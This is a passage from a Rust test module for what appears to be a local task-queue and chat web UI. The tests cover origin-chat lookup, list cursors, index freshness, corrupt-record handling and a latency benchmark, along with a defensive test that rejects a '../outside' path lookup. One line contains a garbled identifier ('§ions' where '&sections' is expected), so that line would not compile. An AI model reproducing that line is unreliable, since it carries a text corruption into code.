24256 ("implement", previous.id.as_str(), false, false),
24257 ] {
24258 let mut q = Question::new(
24259 reference.into(),
24260 node.into(),
24261 crate::reconcile::SEAT.into(),
24262 "Reconcile".into(),
24263 String::new(),
24264 vec![],
24265 );
24266 ui.questions.put(&mut q).unwrap();
24267 questions.push((q, associated, eligible));
24268 }
24269 let mut release = Question::new(
24270 "release-record".into(),
24271 crate::bump::NOTICE_NODE.into(),
24272 "release-watch".into(),
24273 "Release".into(),
24274 String::new(),
24275 vec![],
24276 );
24277 ui.questions.put(&mut release).unwrap();
24278 let watch = crate::release_watch::WatchState {
24279 question: Some(release.id.clone()),
24280 run: Some(previous.runs[0].clone()),
24281 held_task: Some(previous.id.clone()),
24282 ..Default::default()
24283 };
24284 let watch_dir = home.path().join("release-watch");
24285 std::fs::create_dir_all(&watch_dir).unwrap();
24286 let watch_path = watch_dir.join("watch.json");
24287 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24288 for batch in [
24290 Vec::new(),
24291 questions.iter().map(|(q, _, _)| q.clone()).collect(),
24292 ] {
24293 let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
24294 assert!(watches.is_empty());
24295 }
24296 questions.push((release.clone(), true, false));
24297
24298 let views = questions_list(State(ui.clone())).await.unwrap().0;
24299 let origins = question_origins(State(ui.clone())).await.unwrap().0;
24300 for (q, associated, eligible) in &questions {
24301 let view = views.iter().find(|view| view.question.id == q.id).unwrap();
24302 let origin = origins.iter().find(|view| view.id == q.id).unwrap();
24303 let expected = associated.then_some(chat.as_str());
24304 assert_eq!(
24305 view.origin_chat.as_deref(),
24306 expected,
24307 "{} {}",
24308 q.node,
24309 q.run
24310 );
24311 assert_eq!(origin.origin_chat.as_deref(), expected);
24312 assert_eq!(view.origin_chat_closed, *associated);
24313 assert_eq!(origin.origin_chat_closed, *associated);
24314 assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
24315 assert_eq!(origin.can_consult_chat, *eligible);
24316 }
24317 for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
24319 let link = crate::release_watch::WatchState {
24320 run,
24321 held_task,
24322 ..watch.clone()
24323 };
24324 std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
24325 let (tasks, talks, watches) =
24326 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24327 assert_eq!(
24328 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24329 .unwrap()
24330 .id,
24331 chat,
24332 );
24333 assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
24334 }
24335 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24336 let duplicate_path = watch_dir.join("duplicate.json");
24338 std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24339 let (tasks, talks, watches) =
24340 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24341 assert!(
24342 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24343 .is_none()
24344 );
24345 std::fs::remove_file(duplicate_path).unwrap();
24346 let mut unrelated = Task::new(
24348 "other".into(),
24349 String::new(),
24350 PathBuf::from("/repo"),
24351 Source::Human,
24352 );
24353 unrelated.id = "unrelated-task".into();
24354 ui.queue.put(&mut unrelated).unwrap();
24355 let mut conflicting = watch.clone();
24356 conflicting.held_task = Some(unrelated.id);
24357 std::fs::write(
24358 watch_dir.join("conflict.json"),
24359 serde_json::to_vec(&conflicting).unwrap(),
24360 )
24361 .unwrap();
24362 let (tasks, talks, watches) =
24363 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24364 assert!(
24365 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24366 .is_none()
24367 );
24368 std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
24369 std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
24370 for origin in question_origins(State(ui.clone())).await.unwrap().0 {
24371 assert!(origin.origin_chat.is_none());
24372 assert!(!origin.origin_chat_closed);
24373 }
24374 }
24375
24376 #[test]
24377 fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
24378 let home = tempfile::tempdir().unwrap();
24379 let ui = delta_test_ui(home.path());
24380 let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
24381 for i in 0..1000 {
24382 let mut task = Task::new(
24383 "unrelated".into(),
24384 "instruction ".repeat(256),
24385 PathBuf::from("/repo"),
24386 Source::Human,
24387 );
24388 task.id = format!("history-{i:04}");
24389 ui.queue.put(&mut task).unwrap();
24390 let id = seed_talk_at(&ui.talks, &task.id, "open");
24391 let mut talk = ui.talks.get(&id).unwrap();
24392 talk.pending = "history ".repeat(256);
24393 ui.talks.put(&mut talk).unwrap();
24394 }
24395 let mut parent = Task::new(
24396 "parent".into(),
24397 "body".into(),
24398 PathBuf::from("/repo"),
24399 Source::Agent {
24400 run: chat_id.clone(),
24401 node: crate::queue::CHAT_NODE.into(),
24402 },
24403 );
24404 parent.id = "task-parent".into();
24405 parent.runs = vec!["run-parent".into()];
24406 ui.queue.put(&mut parent).unwrap();
24407 let mut child = Task::new(
24408 "child".into(),
24409 "body".into(),
24410 PathBuf::from("/repo"),
24411 Source::Human,
24412 );
24413 child.id = "task-child".into();
24414 child.runs = vec!["run-child".into()];
24415 child.followup = Some(crate::queue::FollowUp {
24416 run: "run-parent".into(),
24417 origin_task: Some(parent.id.clone()),
24418 pr: "https://example.invalid/pr/1".into(),
24419 findings: vec![],
24420 generation: 1,
24421 });
24422 ui.queue.put(&mut child).unwrap();
24423 let mut question = Question::new(
24424 child.id.clone(),
24425 crate::conduct::NODE.into(),
24426 "seat".into(),
24427 "Continue?".into(),
24428 String::new(),
24429 vec![],
24430 );
24431 let (tasks, talks, _watches) =
24432 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24433 assert_eq!(tasks.len(), 2);
24434 assert_eq!(talks.len(), 1);
24435 assert_eq!(
24436 ui.monitor.queue_index.lock().unwrap().reparsed,
24437 0,
24438 "exact ancestry bypasses the index"
24439 );
24440 assert_eq!(
24441 crate::consult::origin_talk(&tasks, &talks, &question)
24442 .unwrap()
24443 .id,
24444 chat_id
24445 );
24446 question.run = "run-child".into();
24447 question.node = "review".into();
24448 for origin_task in [Some(parent.id.clone()), None] {
24449 child.followup.as_mut().unwrap().origin_task = origin_task;
24450 ui.queue.put(&mut child).unwrap();
24451 let (tasks, talks, _watches) =
24452 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24453 let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
24454 let expected =
24455 crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
24456 .unwrap();
24457 assert_eq!(actual.id, expected.id);
24458 assert!(!actual.status.open());
24459 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
24460 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24461 let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
24464 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
24465 }
24466 child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
24467 ui.queue.put(&mut child).unwrap();
24468 std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
24469 let (tasks, talks, _watches) =
24470 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24471 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
24472 child.origin_chat = Some(chat_id.clone());
24473 ui.queue.put(&mut child).unwrap();
24474 let (tasks, talks, _watches) =
24475 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24476 assert_eq!(
24477 crate::consult::origin_talk(&tasks, &talks, &question)
24478 .unwrap()
24479 .id,
24480 chat_id
24481 );
24482 let revision = question_record_revision(&question);
24483 question.abandon("settled elsewhere");
24484 assert_ne!(revision, question_record_revision(&question));
24485 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
24486 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
24487 std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
24488 let (tasks, talks, _watches) =
24489 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24490 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
24491 }
24492
24493 #[test]
24494 fn list_cursors_freeze_membership_and_expire_explicitly() {
24495 let home = tempfile::tempdir().unwrap();
24496 let ui = delta_test_ui(home.path());
24497 std::fs::create_dir_all(ui.queue.root()).unwrap();
24498 for i in 0..40 {
24499 std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
24500 }
24501 let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
24502 assert_eq!(first.len(), STORE_PAGE_SIZE);
24503 let cursor = cursor.unwrap();
24504 std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
24505 std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
24506 let (second, _) = page_ids(
24507 &ui,
24508 false,
24509 PageQuery {
24510 before: Some(cursor.clone()),
24511 },
24512 )
24513 .unwrap();
24514 assert_eq!(second[0], "record-0023");
24515 assert!(second.iter().all(|id| !first.contains(id)));
24516 assert!(
24517 page_ids(
24518 &ui,
24519 true,
24520 PageQuery {
24521 before: Some(cursor.clone())
24522 }
24523 )
24524 .is_err()
24525 );
24526 let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
24527 assert_eq!(fresh[0], "record-9999");
24528 ui.monitor.list_walks.lock().unwrap().clear();
24529 assert!(
24530 page_ids(
24531 &ui,
24532 false,
24533 PageQuery {
24534 before: Some(cursor)
24535 }
24536 )
24537 .is_err()
24538 );
24539 }
24540
24541 #[tokio::test]
24542 async fn stats_queue_index_counts_only_fresh_readable_statuses() {
24543 let home = tempfile::tempdir().unwrap();
24544 let ui = delta_test_ui(home.path());
24545 let mut task = Task::new(
24546 "task".into(),
24547 "body".into(),
24548 PathBuf::from("/repo"),
24549 Source::Human,
24550 );
24551 ui.queue.put(&mut task).unwrap();
24552 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
24553 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
24554 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
24555 let expected = parsed + usize::from(!cfg!(unix));
24556 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
24557 task.status = crate::queue::TaskStatus::Held;
24558 ui.queue.put(&mut task).unwrap();
24559 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
24560 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
24561 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
24562 ui.queue.put(&mut task).unwrap();
24563 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
24564 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
24565 assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
24566 }
24567
24568 #[tokio::test]
24569 async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
24570 let home = tempfile::tempdir().unwrap();
24571 let ui = delta_test_ui(home.path());
24572 *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
24573 let before = health(State(ui.clone())).await.unwrap().0;
24574 ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
24575 let after = health(State(ui)).await.unwrap().0;
24576 assert_ne!(before.notifications_rev, after.notifications_rev);
24577 assert_eq!(after.notifications_unread, 1);
24578 }
24579
24580 #[tokio::test]
24581 async fn list_pages_bound_history_and_keep_dependency_evidence() {
24582 let home = tempfile::tempdir().unwrap();
24583 let ui = delta_test_ui(home.path());
24584 let queue = &ui.queue;
24585 let talks = &ui.talks;
24586 for i in 0..1000 {
24587 let id = format!("20261019-{i:06}-page");
24588 let mut task = Task::new(
24589 "task".into(),
24590 "instruction".repeat(100),
24591 PathBuf::from("/repo/magi"),
24592 Source::Human,
24593 );
24594 task.id = id.clone();
24595 if i == 0 {
24596 task.status = crate::queue::TaskStatus::Held;
24597 } else if i == 999 {
24598 task.status = crate::queue::TaskStatus::Blocked;
24599 task.blocked_by = vec!["20261019-000000-page".into()];
24600 }
24601 queue.put(&mut task).unwrap();
24602 seed_talk_at(talks, &id, "open");
24603 }
24604 let page = serde_json::to_value(
24605 queue_page(State(ui.clone()), Query(PageQuery::default()))
24606 .await
24607 .unwrap()
24608 .0,
24609 )
24610 .unwrap();
24611 assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24612 assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
24613 assert!(
24614 !page["rows"][0]["stuck_roots"]
24615 .as_array()
24616 .unwrap()
24617 .is_empty()
24618 );
24619 let cursor = page["next"].as_str().unwrap();
24620 let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
24621 .as_str()
24622 .unwrap();
24623 std::fs::remove_file(queue.path_of(last_id)).unwrap();
24625 let next = serde_json::to_value(
24626 queue_page(
24627 State(ui.clone()),
24628 Query(PageQuery {
24629 before: Some(cursor.into()),
24630 }),
24631 )
24632 .await
24633 .unwrap()
24634 .0,
24635 )
24636 .unwrap();
24637 assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24638 assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
24639 let chats = serde_json::to_value(
24640 talks_page(
24641 State(ui.clone()),
24642 Query(PageQuery::default()),
24643 header::HeaderMap::new(),
24644 )
24645 .await
24646 .unwrap()
24647 .0,
24648 )
24649 .unwrap();
24650 assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24651 assert!(chats["rows"][0].get("pending").is_none());
24652 assert!(chats["rows"][0].get("turn_bodies_md").is_none());
24653 let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
24654 assert_eq!(counts["held"], 1);
24655 assert_eq!(counts["blocked"], 1);
24656 assert_eq!(counts["queued"], 997);
24657 }
24658
24659 #[test]
24660 fn queue_index_observes_external_replacement_deletion_and_corruption() {
24661 let dir = tempfile::tempdir().unwrap();
24662 let ui = delta_test_ui(dir.path());
24663 let mut task = Task::new(
24664 "task".into(),
24665 "body".into(),
24666 PathBuf::from("/repo"),
24667 Source::Human,
24668 );
24669 task.runs = vec!["run-a".into()];
24670 ui.queue.put(&mut task).unwrap();
24671 assert!(ui.find_task_for_run("run-a").unwrap().is_some());
24672 task.runs = vec!["run-b".into()];
24673 let path = ui.queue.path_of(&task.id);
24674 let modified = path.metadata().unwrap().modified().unwrap();
24675 let replacement = path.with_extension("replacement");
24676 let bytes = serde_json::to_vec_pretty(&task).unwrap();
24677 assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
24678 std::fs::write(&replacement, &bytes).unwrap();
24679 std::fs::File::options()
24680 .write(true)
24681 .open(&replacement)
24682 .unwrap()
24683 .set_times(std::fs::FileTimes::new().set_modified(modified))
24684 .unwrap();
24685 std::fs::rename(&replacement, &path).unwrap();
24686 assert!(ui.find_task_for_run("run-a").unwrap().is_none());
24687 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
24688 std::fs::write(&path, "broken").unwrap();
24689 assert!(ui.find_task_for_run("run-b").is_err());
24690 std::fs::write(&path, bytes).unwrap();
24691 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
24692 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
24693 assert!(ui.find_task_for_run("run-b").unwrap().is_none());
24694 }
24695
24696 #[tokio::test]
24697 async fn conversation_core_is_independent_of_unreadable_related_history() {
24698 let home = tempfile::tempdir().unwrap();
24699 let ui = delta_test_ui(home.path());
24700 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24701 std::fs::create_dir_all(ui.queue.root()).unwrap();
24702 std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
24703 let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
24704 .await
24705 .unwrap();
24706 assert_eq!(core.talk.id, id);
24707 assert!(talk_sections(State(ui), Path(id)).await.is_ok());
24708 }
24709
24710 #[tokio::test]
24711 async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
24712 let home = tempfile::tempdir().unwrap();
24713 let ui = delta_test_ui(home.path());
24714 let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
24715 let mut task = Task::new(
24716 "Referenced task".into(),
24717 "Unrelated instruction history".repeat(1024),
24718 home.path().into(),
24719 Source::Human,
24720 );
24721 task.id = "20261019-000000-abcd".into();
24722 ui.queue.put(&mut task).unwrap();
24723 let mut conversation = ui.talks.get(&id).unwrap();
24724 conversation.turns.push(talk::Turn {
24725 sender: Some(talk::Sender::Persona),
24726 who: talk::Who::Agent,
24727 body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
24728 at: conversation.created_at,
24729 attachments: Vec::new(),
24730 usage: None,
24731 breaks: None,
24732 messages: Vec::new(),
24733 posted_by: None,
24734 });
24735 ui.talks.put(&mut conversation).unwrap();
24736
24737 let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
24738 let markdown = serde_json::to_value(&core.turn_bodies_md)
24739 .unwrap()
24740 .to_string();
24741 assert!(markdown.contains("\"strong\""));
24742 assert!(markdown.contains("\"table\""));
24743 assert!(markdown.contains("\"bullet_list\""));
24744 assert!(markdown.contains("\"code_block\""));
24745 assert!(!markdown.contains("\"internal_link\""));
24746 assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
24747 assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
24748 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
24749
24750 let references = ui.references.for_talk(home.path(), &conversation);
24753 let mut decorated = core.turn_bodies_md[0].clone();
24754 references.markdown(&mut decorated);
24755 let decorated = serde_json::to_value(decorated).unwrap().to_string();
24756 assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
24757 assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
24758 assert_eq!(
24759 ui.talks.get(&conversation.id).unwrap().turns[0].body,
24760 conversation.turns[0].body
24761 );
24762 }
24763
24764 #[tokio::test]
24765 async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
24766 let home = tempfile::tempdir().unwrap();
24767 let ui = delta_test_ui(home.path());
24768 let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24769 let mut run = RunState::new(
24770 PathBuf::from("/repo"),
24771 "main".into(),
24772 "01234567".into(),
24773 "Useful run".into(),
24774 Config::default(),
24775 );
24776 run.save_under(home.path()).unwrap();
24777 let mut task = Task::new(
24778 "Related".into(),
24779 "body".into(),
24780 PathBuf::from("/repo"),
24781 Source::Agent {
24782 run: talk_id.clone(),
24783 node: "chat".into(),
24784 },
24785 );
24786 task.runs = vec![run.id.clone()];
24787 ui.queue.put(&mut task).unwrap();
24788 std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
24789 assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
24790 assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
24791 assert!(
24792 run_detail(State(ui.clone()), Path(run.id.clone()))
24793 .await
24794 .is_ok()
24795 );
24796 assert!(
24797 talk_sections(State(ui.clone()), Path(talk_id.clone()))
24798 .await
24799 .is_ok()
24800 );
24801 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
24803 assert!(ui.find_task_for_run(&run.id).is_err());
24804 assert!(ui.find_tasks_for_talk(&talk_id).is_err());
24805 ui.queue.put(&mut task).unwrap();
24806 assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
24807 }
24808
24809 #[tokio::test]
24810 async fn conversation_sections_omit_large_task_instructions() {
24811 let home = tempfile::tempdir().unwrap();
24812 let ui = delta_test_ui(home.path());
24813 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24814 let mut task = Task::new(
24815 "filed task".into(),
24816 "large instruction ".repeat(65536),
24817 PathBuf::from("/repo"),
24818 Source::Agent {
24819 run: id.clone(),
24820 node: "chat".into(),
24821 },
24822 );
24823 ui.queue.put(&mut task).unwrap();
24824 let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
24825 assert_eq!(sections["tasks"][0]["id"], task.id);
24826 assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
24827 assert!(sections["tasks"][0].get("instruction").is_none());
24828 assert!(serde_json::to_vec(§ions).unwrap().len() < 8192);
24829 }
24830
24831 #[test]
24832 fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
24833 let home = tempfile::tempdir().unwrap();
24834 let talks = Talks::at(home.path().join("talks"));
24835 seed_talk_at(&talks, "20261019-000001-abcd", "open");
24836 seed_talk_at(&talks, "20261019-000002-abcd", "open");
24837 std::fs::write(home.path().join("outside.json"), "{}").unwrap();
24838 assert!(resolve_talk(&talks, "../outside").is_err());
24839 assert!(resolve_talk(&talks, "abcd").is_err());
24840 assert_eq!(
24841 resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
24842 "20261019-000001-abcd"
24843 );
24844 }
24845
24846 include!(concat!(
24847 env!("CARGO_MANIFEST_DIR"),
24848 "/tests/web_latency/baseline.rs"
24849 ));
24850
24851 include!(concat!(
24852 env!("CARGO_MANIFEST_DIR"),
24853 "/tests/web_latency/lists.rs"
24854 ));
24855
24856 #[tokio::test]
24857 #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
24858 async fn web_history_latency_measurement() {
24859 use std::time::Instant;
24860 let home = tempfile::tempdir().unwrap();
24861 let ui = delta_test_ui(home.path());
24862 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24863 let mut template = ui.talks.get(&id).unwrap();
24864 template.turns = serde_json::from_value(serde_json::json!([{
24865 "who": "operator", "body": "Show the accumulated work and its current status.",
24866 "at": Timestamp::now().to_string(),
24867 }]))
24868 .unwrap();
24869 std::fs::write(
24870 ui.talks.path_of(&id),
24871 serde_json::to_vec(&template).unwrap(),
24872 )
24873 .unwrap();
24874 let count = std::env::var("MAGI_BENCH_RECORDS")
24875 .ok()
24876 .and_then(|s| s.parse::<usize>().ok())
24877 .unwrap_or(1000);
24878 for i in 0..count {
24879 template.id = format!("20261019-{i:06}-history");
24880 template.pending = "history ".repeat(2048);
24881 std::fs::write(
24882 ui.talks.path_of(&template.id),
24883 serde_json::to_vec(&template).unwrap(),
24884 )
24885 .unwrap();
24886 let mut task = Task::new(
24887 "old task".into(),
24888 "instruction ".repeat(2048),
24889 PathBuf::from("/repo"),
24890 Source::Human,
24891 );
24892 task.id = format!("20261019-{i:06}-task");
24893 ui.queue.put(&mut task).unwrap();
24894 }
24895 for baseline in [true, false] {
24896 for clients in [1, 4] {
24897 let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
24898 let mut samples = Vec::new();
24899 for _ in 0..12 {
24900 let mut jobs = Vec::new();
24901 for _ in 0..clients {
24902 let ui = ui.clone();
24903 let id = id.clone();
24904 jobs.push(tokio::spawn(async move {
24905 let start = Instant::now();
24906 if baseline {
24907 let response =
24908 baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
24909 let elapsed = start.elapsed().as_secs_f64() * 1000.0;
24910 return (
24911 elapsed,
24912 elapsed,
24913 serde_json::to_vec(&response).unwrap().len(),
24914 );
24915 }
24916 let core = talk_core(State(ui.clone()), Path(id.clone()));
24917 let secondary = talk_sections(State(ui), Path(id));
24918 let (first, total) = tokio::join!(
24919 async {
24920 let value = core.await.unwrap().0;
24921 (
24922 start.elapsed().as_secs_f64() * 1000.0,
24923 serde_json::to_vec(&value).unwrap().len(),
24924 )
24925 },
24926 async {
24927 let value = secondary.await.unwrap().0;
24928 (
24929 start.elapsed().as_secs_f64() * 1000.0,
24930 serde_json::to_vec(&value).unwrap().len(),
24931 )
24932 }
24933 );
24934 (first.0, first.0.max(total.0), first.1 + total.1)
24935 }));
24936 }
24937 for job in jobs {
24938 samples.push(job.await.unwrap());
24939 }
24940 }
24941 let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
24942 let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
24943 first.sort_by(f64::total_cmp);
24944 total.sort_by(f64::total_cmp);
24945 let n = first.len();
24946 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
24947 println!(
24948 "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
24949 first[n / 2],
24950 first[(n * 95 / 100).min(n - 1)],
24951 total[n / 2],
24952 total[(n * 95 / 100).min(n - 1)],
24953 samples[0].2
24954 );
24955 }
24956 }
24957 }
24958
24959 #[test]
24960 fn app_js_contains_progressive_rendering_and_decoupled_reports() {
24961 assert!(!APP_JS.contains("Promise.allSettled([\n getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
24963 assert!(APP_JS.contains("function nextRunRequest(id)"));
24964 assert!(APP_JS.contains("function runShell(id, summary)"));
24965 assert!(APP_JS.contains("function nextTaskRequest(id)"));
24966 assert!(APP_JS.contains("function taskShell(id, summary)"));
24967 assert!(APP_JS.contains("state.detail.reportLoading = false;"));
24968 }
24969}